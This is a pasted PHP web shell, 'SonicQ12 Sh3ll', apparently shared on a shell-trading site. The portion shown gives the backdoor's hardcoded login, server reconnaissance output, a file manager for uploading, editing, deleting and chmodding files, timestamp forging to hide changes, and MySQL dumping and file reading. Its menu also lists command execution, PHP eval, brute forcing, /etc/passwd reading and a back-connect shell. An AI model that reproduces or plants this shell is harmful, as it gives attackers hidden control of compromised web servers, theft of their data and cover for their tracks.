SonicQ12 - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 1:25 p.m.

FORMAT: PHP

SIZE: 165.5 kB

HITS: 504

  1. <?php
  2. /////////////////////////////////////////////////////
  3. //////////// Developed by SonicQ12 /////////////
  4. ///////////////////////////////////////////////////
  5. error_reporting(!E_ALL);
  6. @set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. session_start();
  9. ob_start();
  10. $mtime = explode(' ', microtime());
  11. $starttime = $mtime[1] + $mtime[0];
  12. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  13. define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  14. //define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  15. define('IS_COM', class_exists('COM') ? 1 : 0 );
  16. define('IS_GPC', get_magic_quotes_gpc());
  17. $dis_func = get_cfg_var('disable_functions');
  18. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  19. foreach(array('_GET','_POST') as $_request) {
  20. foreach($$_request as $_key => $_value) {
  21. if ($_key{0} != '_') {
  22. if (IS_GPC) {
  23. $_value = s_array($_value);
  24. }
  25. $$_key = $_value;
  26. }
  27. }
  28. }
  29. /*================= Info Login ================*/
  30. $sonic['pass'] = str_rot13(md5(base64_encode(sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_HOST']))));
  31. $admin = array();
  32. $admin['pass'] = 'sonicq12'; // SonicQ12 Pass
  33. $admin['check'] = 1;
  34. $admin['cookiepre'] = '';
  35. $admin['cookiedomain'] = '';
  36. $admin['cookiepath'] = '/';
  37. $admin['cookielife'] = 86400;
  38. /*===============================================*/
  39. if ($charset == 'utf8') {
  40. header("content-Type: text/html; charset=utf-8");
  41. } elseif ($charset == 'big5') {
  42. header("content-Type: text/html; charset=big5");
  43. } elseif ($charset == 'gbk') {
  44. header("content-Type: text/html; charset=gbk");
  45. } elseif ($charset == 'latin1') {
  46. header("content-Type: text/html; charset=iso-8859-2");
  47. }
  48. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  49. $timestamp = time();
  50. /*===================== Login =====================*/
  51. if ($action == "logout") {
  52. scookie('SonicQ12', '', -86400 * 365);
  53. p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  54. p('<body style="background:#000">');
  55. exit;
  56. }
  57. if($admin['check']){
  58. if ($_POST['login']) {
  59. if ($admin['pass'] == $password) {
  60. scookie('SonicQ12', $password);
  61. p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  62. p('<body style="background:#000"><BR><BR><div align=center><div style="color:#00e400;">Hello SonicQ12<br /><img src=http://i.imgur.com/UwF8H.gif></div></div>');
  63. exit;
  64. }
  65. else{
  66. echo $err_mess;
  67. }}
  68. if ($_SESSION['SonicQ12']) {
  69. if ($_SESSION['SonicQ12'] != $admin['pass']) {
  70. loginpage();
  71. }
  72. } else {
  73. loginpage();
  74. }
  75. }
  76. /*===================== Login =====================*/
  77. $errmsg = '';
  78. if ($action == 'phpinfo') {
  79. if (IS_PHPINFO) {
  80. phpinfo();
  81. } else {
  82. $errmsg = 'phpinfo() function has non-permissible';
  83. }
  84. }
  85. if ($doing == 'downfile' && $thefile) {
  86. if (!@file_exists($thefile)) {
  87. $errmsg = 'The file you want Downloadable was nonexistent';
  88. } else {
  89. $fileinfo = pathinfo($thefile);
  90. header('Content-type: application/x-'.$fileinfo['extension']);
  91. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  92. header('Content-Length: '.filesize($thefile));
  93. @readfile($thefile);
  94. exit;
  95. }
  96. }
  97. if ($doing == 'backupmysql' && !$saveasfile) {
  98. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  99. $table = array_flip($table);
  100. $result = q("SHOW tables");
  101. if (!$result) p('<h2>'.mysql_error().'</h2>');
  102. $filename = basename($_SERVER['HTTP_HOST'].'sql.gz');
  103. header('Content-type: application/unknown');
  104. header('Content-Disposition: attachment; filename='.$filename);
  105. $mysqldata = '';
  106. while ($currow = mysql_fetch_array($result)) {
  107. if (isset($table[$currow[0]])) {
  108. $mysqldata .= sqldumptable($currow[0]);
  109. }
  110. }
  111. mysql_close();
  112. exit;
  113. }
  114. if($doing=='mysqldown'){
  115. if (!$dbname) {
  116. $errmsg = 'Please input dbname';
  117. } else {
  118. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  119. if (!file_exists($mysqldlfile)) {
  120. $errmsg = 'The file you want Downloadable was nonexistent';
  121. } else {
  122. $result = q("select load_file('$mysqldlfile');");
  123. if(!$result){
  124. q("DROP TABLE IF EXISTS tmp_angel;");
  125. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  126. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  127. $result = q("select content from tmp_angel");
  128. q("DROP TABLE tmp_angel");
  129. }
  130. $row = @mysql_fetch_array($result);
  131. if (!$row) {
  132. $errmsg = 'Load file failed '.mysql_error();
  133. } else {
  134. $fileinfo = pathinfo($mysqldlfile);
  135. header('Content-type: application/x-'.$fileinfo['extension']);
  136. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  137. header("Accept-Length: ".strlen($row[0]));
  138. echo $row[0];
  139. exit;
  140. }
  141. }
  142. }
  143. }
  144. ?>
  145. <html>
  146. <head>
  147. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  148. <link rel="icon" href="http://thumbs.dreamstime.com/thumb_411/12455464854iEKQ2.jpg" type="image/x-icon">
  149. <title><?php echo str_replace('.','','SonicQ12 - Sh3ll');?></title>
  150. <style type="text/css">
  151. body,td{font: 10pt Tahoma;color:#f4f4f4;line-height: 16px;}
  152. img {outline:none;}
  153. a {color: #00e400;text-decoration:none;}
  154. a:hover{color: #f00;text-decoration:underline;}
  155. .alt1 td{border:none; padding:15px 15px 0px 15px;}
  156. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  157. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  158. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  159. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000;padding:5px 10px 5px 5px;}
  160. .head td{border-top:1px solid #00e400;border-bottom:1px solid #00e400;background:#000;padding:5px 10px 5px 5px;font-weight:bold;}
  161. .head_small td{background:#000;}
  162. .head td span{font-weight:normal;}
  163. form{margin:0;padding:0;}
  164. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  165. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  166. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  167. input, textarea, button
  168. {
  169. font-size: 9pt;
  170. color: #ccc;
  171. font-family: verdana, sans-serif;
  172. background: #000;
  173. border: 1px solid #00e400;
  174. }
  175. select
  176. {
  177. font-size: 8pt;
  178. font-weight: normal;
  179. color: #ccc;
  180. font-family: verdana, sans-serif;
  181. background-color: #000;
  182. }
  183. @-webkit-keyframes sonicq12{
  184. 1% {opacity: 0.0;}
  185. 25% {opacity: 0.3;}
  186. 50% {opacity: 0.1;}
  187. 75% {opacity: 0.7;}
  188. 100 {opacity: 1;}
  189. }
  190. </style>
  191. <script type="text/javascript">
  192. function CheckAll(form) {
  193. for(var i=0;i<form.elements.length;i++) {
  194. var e = form.elements[i];
  195. if (e.name != 'chkall')
  196. e.checked = form.chkall.checked;
  197. }
  198. }
  199. function $(id) {
  200. return document.getElementById(id);
  201. }
  202. function goaction(act){
  203. $('goaction').action.value=act;
  204. $('goaction').submit();
  205. }
  206. </script>
  207. </head>
  208. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black style="background:#000">
  209. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  210. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  211. <tr>
  212. <td align="center" valign=center>
  213. <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
  214. Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  215. </div>
  216. </td>
  217. </tr>
  218. </table>
  219. </div>
  220. <script>
  221. var ld=(document.all);
  222. var ns4=document.layers;
  223. var ns6=document.getElementById&&!document.all;
  224. var ie4=document.all;
  225. if (ns4)
  226. ld=document.loading;
  227. else if (ns6)
  228. ld=document.getElementById("loading").style;
  229. else if (ie4)
  230. ld=document.all.loading.style;
  231. function init()
  232. {
  233. if(ns4){ld.visibility="hidden";}
  234. else if (ns6||ie4) ld.display="none";
  235. }
  236. </script>
  237. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  238. <tr class="head_small">
  239. <td width=100%>
  240. <table width=100%><tr class="head_small"><td width="150px">
  241. <a href="<?php $self;?>"><img style="-webkit-animation: sonicq12 1s infinite" src="data:image/jpg;base64,/9j/4AAQSkZJRgABAgAAAQABAAD//gAEKgD/4gIcSUNDX1BST0ZJTEUAAQEAAAIMbGNtcwIQAABtbnRyUkdCIFhZWiAH3AABABkAAwApADlhY3NwQVBQTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLWxjbXMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApkZXNjAAAA/AAAAF5jcHJ0AAABXAAAAAt3dHB0AAABaAAAABRia3B0AAABfAAAABRyWFlaAAABkAAAABRnWFlaAAABpAAAABRiWFlaAAABuAAAABRyVFJDAAABzAAAAEBnVFJDAAABzAAAAEBiVFJDAAABzAAAA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miGbZVpm2lOBRLe6Oefr1SqKeIy6g39HMcFRLUWn/AKo2+RzY5apavP3x2lE4bkHt/wC7iGqqF2+rv0efUBhTG2YFMwAmBUCbQTpK8HLyQqBJzUvEw4d5UrzMhGlKmIHWATmvEijM4taxKLEYUoEJBMPNcwyHeACIjeIrtTzcNfWcIuzdK4hsVHJnQjGEqKoKWJpTa6O/xLGoCg0Oh/d/+AiwLSaH76MIHWat2/k78y6cQxxCA3uDUHrHLQezAqUHeVLYI219lsV0Q4zEhqBol4cjGVsANrqXwhHTmUNke8btGXxzWSKYb8YNojB9CK+EQOXhLcCoauLC8r3H4iAALR6H77/8JFSCmvok/q2UxuEC2b/s361zmpMfQFfW6jaBHmO40RGoYAoeBLSlV4Sy1bWVBRsleBZBLG4wzNM8jLy0GxaQFi13u3d6XmiNIU1dEH9e23/iM0C0UkrrXyww72iDJ9VqXcCcR2zaKql3lCDZf0qJMjY1LsQomGCyYNTLRDekwZlyvXGR+cGaBaLX/jjC0mr4bwydojqAumvF5He3eogsrULYE1FM5t9KqEWFRwwZcYkTTULnRmTjmAsUsbeDwO9DpcHhsNfy3hg7f8oiiixHUwxPTS/jgveZVXqvyhwuyWJUimseTMNiMWLHf0H0qWRKYP1RpNDtXsERkwf+WwuyIE0F1LfB/AvvGKKLVd/85IkFAG/hpOkB/wCu4uK1V5A9voWeauR8mIlOSn6AgPRh0GDce8UgFr0JU57C+bEWcFdWn3nqkD6Hh/MD6IIEqEB0pn1P+oYG9KE8yKbSMFCnpYKuLL3YUfBgBDJ9sV8uX78O+PhzgLiqB9sdLW1J83/4x//Z
  242. " border=0 width="260" height="180"></a>
  243. </td>
  244. <td>
  245. <span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> </span></br>
  246. <?php
  247. $curl_on = @function_exists('curl_version');
  248. $mysql_on = @function_exists('mysql_connect');
  249. $mssql_on = @function_exists('mssql_connect');
  250. $pg_on = @function_exists('pg_connect');
  251. $ora_on = @function_exists('ocilogon');
  252. $safe_mode = @ini_get('safe_mode');
  253. echo (($safe_mode)?("Safe_mod: <b><font color=red>ON</font></b> - "):("Safe_mod: <b><font color=green>OFF</font></b> - "));
  254. echo "PHP version: <b>".@phpversion()."</b> - ";
  255. echo "cURL: ".(($curl_on)?("<b><font color=red>ON</font></b> - "):("<b><font color=green>OFF</font></b> - "));
  256. echo "MySQL: <b>";
  257. $mysql_on = @function_exists('mysql_connect');
  258. if($mysql_on){
  259. echo "<font color=red>ON</font></b> - "; } else { echo "<font color=green>OFF</font></b> - "; }
  260. echo "MSSQL: <b>";
  261. $mssql_on = @function_exists('mssql_connect');
  262. if($mssql_on){echo "<font color=red>ON</font></b> - ";}else{echo "<font color=green>OFF</font></b> - ";}
  263. echo "PostgreSQL: <b>";
  264. $pg_on = @function_exists('pg_connect');
  265. if($pg_on){echo "<font color=red>ON</font></b> - ";}else{echo "<font color=green>OFF</font></b> - ";}
  266. echo "Oracle: <b>";
  267. $ora_on = @function_exists('ocilogon');
  268. if($ora_on){echo "<font color=red>ON</font></b>";}else{echo "<font color=green>OFF</font></b><BR>";}
  269. echo "Disable functions : <b>";
  270. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  271. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  272. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  273. ?> </td>
  274. </tr></table></td>
  275. </tr>
  276. <tr class="alt1">
  277. <font face="ARIALBLACK" color="#00e400"><marquee direction="right"loop="true" scrollamount="200" style="-webkit-animation: sonicq12 3s infinite"><b>_________________________________ </b> <b> _________________________________ _________________________________</b></marquee></font><br />
  278. <td width=100%><span style="float:right;">[Server IP: <?php echo "<font color='#00e400'>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color='#00e400'>".$_SERVER['REMOTE_ADDR']."</font>";?> - <?php if ($admin['check']){?><a href="javascript:goaction('logout');"><font color="#00e400">Log Out</font></a><?php } ?><?php if($admin['check'] == false){ ?> <font color="red">PUBLIC SH3LL</font> <?php } ?>] </span><br />
  279. <font face="ARIALBLACK" color="red"><marquee direction="left"loop="true" scrollamount="200" style="-webkit-animation: sonicq12 3s infinite"><b>_________________________________ </b> <b> _________________________________ _________________________________</b></marquee></font><br />
  280. <center>
  281. <b>|--></b>
  282. <a href="javascript:goaction('file');">File Manager</a> |
  283. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  284. <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
  285. <a href="javascript:goaction('shell');">Execute Command</a> |
  286. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  287. <a href="javascript:goaction('eval');">Eval PHP Code</a> |
  288. <a href="javascript:goaction('cgi');">CGI Shell</a>
  289. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  290. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  291. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  292. <b><--|</b>
  293. </center>
  294. </td>
  295. </tr>
  296. </table>
  297. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  298. <?php
  299. formhead(array('name'=>'goaction'));
  300. makehide('action');
  301. formfoot();
  302. $errmsg && m($errmsg);
  303. !$dir && $dir = '.';
  304. $nowpath = getPath(SA_ROOT, $dir);
  305. if (substr($dir, -1) != '/') {
  306. $dir = $dir.'/';
  307. }
  308. $uedir = ue($dir);
  309. if (!$action || $action == 'file') {
  310. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  311. if ($doing == 'deldir' && $thefile) {
  312. if (!file_exists($thefile)) {
  313. m($thefile.' directory does not exist');
  314. } else {
  315. m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  316. }
  317. }
  318. elseif ($newdirname) {
  319. $mkdirs = $nowpath.$newdirname;
  320. if (file_exists($mkdirs)) {
  321. m('Directory has already existed');
  322. } else {
  323. m('Directory created '.(@mkdir($mkdirs,0755) ? 'success' : 'failed'));
  324. @chmod($mkdirs,0755);
  325. }
  326. }
  327. elseif ($doupfile) {
  328. m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  329. }
  330. elseif ($editfilename && $filecontent) {
  331. $fp = @fopen($editfilename,'w');
  332. m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  333. @fclose($fp);
  334. }
  335. elseif ($pfile && $newperm) {
  336. if (!file_exists($pfile)) {
  337. m('The original file does not exist');
  338. } else {
  339. $newperm = base_convert($newperm,8,10);
  340. m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  341. }
  342. }
  343. elseif ($oldname && $newfilename) {
  344. $nname = $nowpath.$newfilename;
  345. if (file_exists($nname) || !file_exists($oldname)) {
  346. m($nname.' has already existed or original file does not exist');
  347. } else {
  348. m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  349. }
  350. }
  351. elseif ($sname && $tofile) {
  352. if (file_exists($tofile) || !file_exists($sname)) {
  353. m('The goal file has already existed or original file does not exist');
  354. } else {
  355. m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  356. }
  357. }
  358. elseif ($curfile && $tarfile) {
  359. if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  360. m('The goal file has already existed or original file does not exist');
  361. } else {
  362. $time = @filemtime($tarfile);
  363. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  364. }
  365. }
  366. elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  367. if (!@file_exists($curfile)) {
  368. m(basename($curfile).' does not exist');
  369. } else {
  370. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  371. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  372. }
  373. }
  374. elseif($doing == 'downrar') {
  375. if ($dl) {
  376. $dfiles='';
  377. foreach ($dl as $filepath => $value) {
  378. $dfiles.=$filepath.',';
  379. }
  380. $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  381. $dl=explode(',',$dfiles);
  382. $zip=new PHPZip($dl);
  383. $code=$zip->out;
  384. header('Content-type: application/octet-stream');
  385. header('Accept-Ranges: bytes');
  386. header('Accept-Length: '.strlen($code));
  387. header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'sql.gz');
  388. echo $code;
  389. exit;
  390. } else {
  391. m('Please select file(s)');
  392. }
  393. }
  394. elseif($doing == 'delfiles') {
  395. if ($dl) {
  396. $dfiles='';
  397. $succ = $fail = 0;
  398. foreach ($dl as $filepath => $value) {
  399. if (@unlink($filepath)) {
  400. $succ++;
  401. } else {
  402. $fail++;
  403. }
  404. }
  405. m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  406. } else {
  407. m('Please select file(s)');
  408. }
  409. }
  410. formhead(array('name'=>'createdir'));
  411. makehide('newdirname');
  412. makehide('dir',$nowpath);
  413. formfoot();
  414. formhead(array('name'=>'fileperm'));
  415. makehide('newperm');
  416. makehide('pfile');
  417. makehide('dir',$nowpath);
  418. formfoot();
  419. formhead(array('name'=>'copyfile'));
  420. makehide('sname');
  421. makehide('tofile');
  422. makehide('dir',$nowpath);
  423. formfoot();
  424. formhead(array('name'=>'rename'));
  425. makehide('oldname');
  426. makehide('newfilename');
  427. makehide('dir',$nowpath);
  428. formfoot();
  429. formhead(array('name'=>'fileopform'));
  430. makehide('action');
  431. makehide('opfile');
  432. makehide('dir');
  433. formfoot();
  434. $free = @disk_free_space($nowpath);
  435. !$free && $free = 0;
  436. $all = @disk_total_space($nowpath);
  437. !$all && $all = 0;
  438. $used = $all-$free;
  439. $used_percent = @round(100/($all/$free),2);
  440. p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  441. ?>
  442. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  443. <form action="" method="post" id="godir" name="godir">
  444. <tr>
  445. <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  446. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  447. <td nowrap><input class="bt" value="GO" type="submit"></td>
  448. </tr>
  449. </form>
  450. </table>
  451. <script type="text/javascript">
  452. function createdir(){
  453. var newdirname;
  454. newdirname = prompt('Please input the directory name:', '');
  455. if (!newdirname) return;
  456. $('createdir').newdirname.value=newdirname;
  457. $('createdir').submit();
  458. }
  459. function fileperm(pfile){
  460. var newperm;
  461. newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  462. if (!newperm) return;
  463. $('fileperm').newperm.value=newperm;
  464. $('fileperm').pfile.value=pfile;
  465. $('fileperm').submit();
  466. }
  467. function copyfile(sname){
  468. var tofile;
  469. tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  470. if (!tofile) return;
  471. $('copyfile').tofile.value=tofile;
  472. $('copyfile').sname.value=sname;
  473. $('copyfile').submit();
  474. }
  475. function rename(oldname){
  476. var newfilename;
  477. newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  478. if (!newfilename) return;
  479. $('rename').newfilename.value=newfilename;
  480. $('rename').oldname.value=oldname;
  481. $('rename').submit();
  482. }
  483. function dofile(doing,thefile,m){
  484. if (m && !confirm(m)) {
  485. return;
  486. }
  487. $('filelist').doing.value=doing;
  488. if (thefile){
  489. $('filelist').thefile.value=thefile;
  490. }
  491. $('filelist').submit();
  492. }
  493. function createfile(nowpath){
  494. var filename;
  495. filename = prompt('Please input the file name:', '');
  496. if (!filename) return;
  497. opfile('editfile',nowpath + filename,nowpath);
  498. }
  499. function opfile(action,opfile,dir){
  500. $('fileopform').action.value=action;
  501. $('fileopform').opfile.value=opfile;
  502. $('fileopform').dir.value=dir;
  503. $('fileopform').submit();
  504. }
  505. function godir(dir,view_writable){
  506. if (view_writable) {
  507. $('godir').view_writable.value=1;
  508. }
  509. $('godir').dir.value=dir;
  510. $('godir').submit();
  511. }
  512. </script>
  513. <?php
  514. tbhead();
  515. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  516. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  517. p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  518. if ($view_writable) {
  519. p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  520. } else {
  521. p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  522. }
  523. p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  524. if (IS_WIN && IS_COM) {
  525. $obj = new COM("scripting.filesystemobject");
  526. if ($obj && is_object($obj)) {
  527. $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  528. foreach($obj->Drives as $drive) {
  529. if ($drive->DriveType == 2) {
  530. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  531. } else {
  532. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  533. }
  534. }
  535. }
  536. }
  537. p('</td></tr></form>');
  538. p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  539. $dirdata=array();
  540. $filedata=array();
  541. if ($view_writable) {
  542. $dirdata = GetList($nowpath);
  543. } else {
  544. $dirs=@opendir($dir);
  545. while ($file=@readdir($dirs)) {
  546. $filepath=$nowpath.$file;
  547. if(@is_dir($filepath)){
  548. $dirdb['filename']=$file;
  549. $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  550. $dirdb['dirchmod']=getChmod($filepath);
  551. $dirdb['dirperm']=getPerms($filepath);
  552. $dirdb['fileowner']=getUser($filepath);
  553. $dirdb['dirlink']=$nowpath;
  554. $dirdb['server_link']=$filepath;
  555. $dirdb['client_link']=ue($filepath);
  556. $dirdata[]=$dirdb;
  557. } else {
  558. $filedb['filename']=$file;
  559. $filedb['size']=sizecount(@filesize($filepath));
  560. $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  561. $filedb['filechmod']=getChmod($filepath);
  562. $filedb['fileperm']=getPerms($filepath);
  563. $filedb['fileowner']=getUser($filepath);
  564. $filedb['dirlink']=$nowpath;
  565. $filedb['server_link']=$filepath;
  566. $filedb['client_link']=ue($filepath);
  567. $filedata[]=$filedb;
  568. }
  569. }
  570. unset($dirdb);
  571. unset($filedb);
  572. @closedir($dirs);
  573. }
  574. @sort($dirdata);
  575. @sort($filedata);
  576. $dir_i = '0';
  577. foreach($dirdata as $key => $dirdb){
  578. if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  579. $thisbg = bg();
  580. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  581. p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  582. p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  583. p('<td nowrap>'.$dirdb['mtime'].'</td>');
  584. p('<td nowrap>--</td>');
  585. p('<td nowrap>');
  586. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  587. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  588. p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  589. p('</tr>');
  590. $dir_i++;
  591. } else {
  592. if($dirdb['filename']=='..') {
  593. p('<tr class=fout>');
  594. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  595. p('</tr>');
  596. }
  597. }
  598. }
  599. p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  600. p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  601. makehide('action','file');
  602. makehide('thefile');
  603. makehide('doing');
  604. makehide('dir',$nowpath);
  605. $file_i = '0';
  606. foreach($filedata as $key => $filedb){
  607. if($filedb['filename']!='..' && $filedb['filename']!='.') {
  608. $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  609. $thisbg = bg();
  610. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  611. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  612. p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  613. p('<td nowrap>'.$filedb['mtime'].'</td>');
  614. p('<td nowrap>'.$filedb['size'].'</td>');
  615. p('<td nowrap>');
  616. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  617. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  618. p('<td nowrap>');
  619. p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  620. p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  621. p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  622. p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  623. p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  624. p('</td></tr>');
  625. $file_i++;
  626. }
  627. }
  628. p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
